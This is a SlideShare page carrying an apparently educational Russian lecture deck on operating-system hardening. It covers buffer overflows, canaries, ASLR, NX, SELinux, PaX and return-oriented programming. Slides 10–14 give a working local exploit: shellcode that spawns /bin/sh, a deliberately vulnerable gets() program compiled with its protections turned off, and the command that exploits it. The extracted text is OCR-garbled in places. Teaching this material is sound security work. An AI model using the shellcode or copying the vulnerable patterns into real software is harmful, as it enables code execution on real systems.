Download as PDF, PPTX
![Искажение
адреса
возврата
int
namelen
(void)
{
char
name[21];
gets(name);
return
strlen(name);
}
name[0]
name[1]
….
Адрес
возврата
0xFFFF
0x0
массив
Стек](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-7-320.jpg)
![Искажение
указателя
функции
void
dummy(void)
{
prinˆ("Hello
world!
n");
}
int
main(int
argc,
char
**argv)
{
void
(*dummyptr)();
char
buffer[100];
dummyptr=dummy;
strcpy(buffer,
argv[1]);
//
Уязвимость
(*dummyptr)();
}
buffer[0]
buffer[1]
….
dummyptr
Адрес
возврата
0xFFFF
0x0
массив
Стек](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-8-320.jpg)
![Искажение
указателей
данных
foo(char
*
arg)
{
char
*
p
=
arg;
//
уязвимый
указатель
char
a[40];
//
переполняемый
буфер
gets(a);
//
уязвимость
gets(p);
//
искажение
кода
}
a[0]
a[1]
….
p
arg
0xFFFF
0x0
массив
Стек
Адрес
возврата](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-9-320.jpg)
![vic&m
cat
>
vic&m.c
<<
"EOF"
#include
<stdio.h>
int
main()
{
char
name[64];
prinˆ("%pn",
name);
//
Print
address
of
buffer.
puts("What's
your
name?");
gets(name);
prinˆ("Hello,
%s!n",
name);
return
0;
}
EOF](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-12-320.jpg)
![Маркерные
значения
a[0]
a[1]
….
EBP
Canary
0xFFFF
0x0
массив
Стек
Адрес
возврата](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-17-320.jpg)
![Address
Space
Layout
Randomiza&on
Name[0]
0x7f..ff
Первый
запуск
char
name[64];
prinˆ("%pn",
name);
puts("What's
your
name?");
gets(name);
prinˆ("Hello,
%s!n",
name);
7cb7ba740
Name[0]
Второй
запуск
ef5415a90](https://image.slidesharecdn.com/spru-130805084213-phpapp02/85/Operating-Systems-Hardening-18-320.jpg)
Uploaded byVasily Sartakov
Operating Systems Hardening
Документ обсуждает уязвимости операционных систем, особенно связанные с переполнением буфера и методами защиты, такими как маркерные значения и рандомизация адресного пространства. Также рассматриваются атаки на основе return-oriented programming, которые позволяют обойти стандартные механизмы защиты. В заключении отмечается, что, хотя современные методы защиты значительно усложняют атаки, они не могут полностью предотвратить исполнение вредоносного кода.
More Related Content
![Python AST / Николай Карелин / VPI Development Center [Python Meetup 27.03.15]](https://cdn.slidesharecdn.com/ss_thumbnails/2karelin-pythonast-150423014957-conversion-gate01-thumbnail.jpg?width=640&height=640&fit=bounds)
![[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux](https://cdn.slidesharecdn.com/ss_thumbnails/revealingrootkitsv5-170328122611-thumbnail.jpg?width=640&height=640&fit=bounds)
Similar to Operating Systems Hardening
Operating Systems Hardening
- 1. Opera&ng Systems Hardening Sartakov A. Vasily ksys labs Summer Systems School’13
- 2. Structure • Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов • Противодействия противодействию: Return Oriented Programming
- 3. Intro • Morris Worm (November 1988) – Первый известный эксплоит использовавший срыв стека – execve(“/bin/sh”, 0, 0) • Thomas Lopa&c опубликовал эксплоит NCSA HTTPD (1995) • “Smashing the Stack for Fun and Profit” Aleph One (August 1996) • Unix
- 4. Structure • Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов • Противодействия противодействию: Return Oriented Programming
- 5. Срыв стека • Подготовка кода (payload) • Изменение последовательности выполнения программы
- 6. Подготовка кода • Передается в качестве аргументов, команд, обрабатываемых данных • Эти данные должны сохраняться в выделенные для них буфера • Принципиальной разницы нет – статический это буфер или динамический • Отсутствие проверки длины данных приводит к перезаписи данных за границей буфера.
- 7. Искажение адреса возврата int namelen (void) { char name[21]; gets(name); return strlen(name); } name[0] name[1] …. Адрес возврата 0xFFFF 0x0 массив Стек
- 8. Искажение указателя функции void dummy(void) { prinˆ("Hello world! n"); } int main(int argc, char **argv) { void (*dummyptr)(); char buffer[100]; dummyptr=dummy; strcpy(buffer, argv[1]); // Уязвимость (*dummyptr)(); } buffer[0] buffer[1] …. dummyptr Адрес возврата 0xFFFF 0x0 массив Стек
- 9. Искажение указателей данных foo(char * arg) { char * p = arg; // уязвимый указатель char a[40]; // переполняемый буфер gets(a); // уязвимость gets(p); // искажение кода } a[0] a[1] …. p arg 0xFFFF 0x0 массив Стек Адрес возврата
- 10. Example 1 cat > launch.c << "EOF" int main(int argc, char **argv) { asm(" needle0: jmp theren here: pop %rdin xor %rax, %raxn movb $0x3b, %aln xor %rsi, %rsin xor %rdx, %rdxn syscalln there: call heren .string "/bin/sh"n needle1: .octa 0xdeadbeefn "); } EOF gcc -‐o launch launch.c h™p://crypto.stanford.edu/~blynn/rop/
- 11. Shellcode addr=0x`objdump -‐d launch | grep needle0 | cut -‐d -‐f1` addr=$((addr-‐0x400000)) echo ...shellcode starts at offset $addr xxd -‐s$addr -‐l32 -‐p launch > shellcode eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
- 12. vic&m cat > vic&m.c << "EOF" #include <stdio.h> int main() { char name[64]; prinˆ("%pn", name); // Print address of buffer. puts("What's your name?"); gets(name); prinˆ("Hello, %s!n", name); return 0; } EOF
- 13. Compiling gcc -‐fno-‐stack-‐protector -‐o vic&m vic&m.c execstack -‐s vic&m // disabling executable space protec&on… addr=$(echo | setarch $(arch) -‐R ./vic&m | sed 1q) //finding buffer address… a=`prinˆ %016x $addr | tac -‐rs..` //exploi&ng vic&m...
- 14. A™ack ( ( cat shellcode ; prinˆ %080d 0 ; echo $a ) | xxd -‐r -‐p ; cat ) | setarch `arch` -‐R ./vic&m
- 15. Structure • Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов • Противодействия противодействию: Return Oriented Programming
- 16. Средства противодействия атакам основанным на переполнении буферов • Маркерные значения (Canaries) • Рандомизация адресного пространства (ASLR) • NX бит • Подсистемы безопасности Linux
- 17. Маркерные значения a[0] a[1] …. EBP Canary 0xFFFF 0x0 массив Стек Адрес возврата
- 18. Address Space Layout Randomiza&on Name[0] 0x7f..ff Первый запуск char name[64]; prinˆ("%pn", name); puts("What's your name?"); gets(name); prinˆ("Hello, %s!n", name); 7cb7ba740 Name[0] Второй запуск ef5415a90
- 19. Эмуляция NX bit Код Данные Стек Код Исполняемый неисполняемый Лимит сегмента
- 20. NX/XD bit: Data Execu&on Preven&on(DEP) • Physical Address Extension (PAE) • Может защищать не только весь процесс целиком, но и его отдельную часть.
- 21. Подсистемы безопасности Linux • SELinux • PaX/GrSecurity
- 22. SELinux • Разрабатывался под контролем Na&onal Security Agency (NSA) • Исходный код был опубликован в декабря 2000 • Мандатный контроль доступа на основе контроля меток безопасности объектов и субъектов ОС • Принудительная типизация доступа (Type Enforcement)
- 23. Проект LOCK • LOCK (LOgical Coprocessing Kernel) • Secure Compu&ng Corpora&on (SCC) • «A1»,Trusted Compu&ng System Evalua&on Criteria (“Orange Book”). • Принудительная типизация доступа • Наследие -‐ Sidewinder Internet Firewall и SELinux • Изначально было дополнением 2.2, 2.4 • «Благодаря» Торвальдсу добавлено в ядро в качестве отдельного модуля. Так появился Linux Security Modules в ядре 2.6
- 24. Принудительная типизация доступа • Type Enforcement • Технология разграничения доступа, при которой права на доступ субъекта к объекту даются в зависимости от текущего контекста безопасности. • Контекст безопасности хранится в расширенных атрибутах файловой системы и управляется с помощью Linux security module (LSM) • Принудительная типизация доступа необходима для реализации мандатного контроля доступа, дополняет ролевой контроль доступа (Role Based Access Control — RBAC).
- 25. SELinux • Каждый объект или субъект в операционной системе, защищенной SELinux, должен иметь свою специальную метку, называемую контекстом безопасности. • Ext2-‐>file-‐>ext3 • SELinux предоставляет пользователю или приложению только те права доступа, которые необходимы для осуществления запрошенных действий
- 26. SELinux • Каждый процесс-‐субъект запускается в определенном контексте (домене) безопасности • Всем ресурсам-‐объектам операционной системы ставится в соответствие определенный тип • Высокая степень разграничения доступа к ресурсам • Составляет политику безопасности: Список правил, определяющих разрешения на доступ определенных доменов к определенным типам.
- 27.
- 28. PaX/GRSecurity • Механизм обеспечения безопасного исполнения кода PaX • Механизм разграничения доступа на основе ролевой политики (RBAC) • Усиление базового механизма chroot • Дополнительные функции и механизмы безопасности
- 29. Structure • Intro • Атаки использующие переполнение буферов • Средства противодействия атакам основанным на переполнении буферов • Противодействия противодействию: Return Oriented Programming
- 30. Вопрос Подвержена ли Гарвардская архитектура атакам основанным на срыве стека?
- 31. Ответ Атаки построенные на срыве стека – нет, не подвержена. Но подвержена куда более серьезным атакам из того же семейства.
- 32. Return oriented programming • Return-‐to-‐libc (ret2libc) – Позволяет атаковать неисполнимую память (DEP, W^X, etc) – Вместо перезаписи адреса возврата, осуществляется выбор специально подобранных двоичных команд из библиотек в памяти, как вызовов функций. – При этом данные в стеке используются как аргументы к этим функциям – Что в конечном итоге позволяет сделать system(cmd)
- 33. Return oriented programming • Вместо возврата из функций с измененным стеком происходит вызов последовательностей инструкций, которые заканчиваются инструкцией ret. • Фактически можно обращаться к произвольному региону, прямо в середину инструкции, тем самым эмулируя другой тип инструкций. • Фактически, все что нужно для взлома – найти необходимую последовательность инструкций в памяти
- 34. Return oriented programming • Gadget – последовательность подходящих инструкций заканчивающаяся ret • Гаджеты исполняют произвольный высокоуровневый функционал – Записать данные в определенную ячейку памяти – add/sub/and/or/xor – Вызвать функцию из библиотеки
- 35. Return oriented programming • Для построения RoP атаки необходимо просканировать исполнимые регионы библиотек для выявления подходящих инструкций • Полнота по Тьюрингу при поиске гаджетов: Homescu, Andrei, et al. "Microgadgets: Size Does Ma™er in Turing-‐Complete Return-‐ Oriented Programming." WOOT. 2012.
- 36. Example 2 Return-‐oriented programming on 64-‐bit Linux Ben Lynn h™p://crypto.stanford.edu/~blynn/rop/
- 37. Выводы: 1. Маркерные значения + рандомизация + NX бит не защищают на 100%, но сильно усложняют вторжение. 2. Превентивные средства защиты (PaX), задача которых противодействовать вторжению, вместе с AC (RBAC), так же уменьшают шансы вторжения и минимизируют последствия 3. Защита от внедрения вредоносного кода не достаточна для предотвращения исполнения вредоносного кода.
- 38. Reading • h™p://crypto.stanford.edu/~blynn/rop/ • Roemer, Ryan, et al. "Return-‐oriented programming: Systems, languages, and applica&ons." ACM Transac&ons on Informa&on and System Security (TISSEC) 15.1 (2012): 2. • Checkoway, Stephen, et al. "Can DREs provide long-‐las&ng security? The case of return-‐oriented programming and the AVC Advantage." Proceedings of EVT/WOTE 2009 (2009). • Shacham, Hovav. "The geometry of innocent flesh on the bone: Return-‐into-‐libc without func&on calls (on the x86)." Proceedings of the 14th ACM conference on Computer and communicaCons security. ACM, 2007.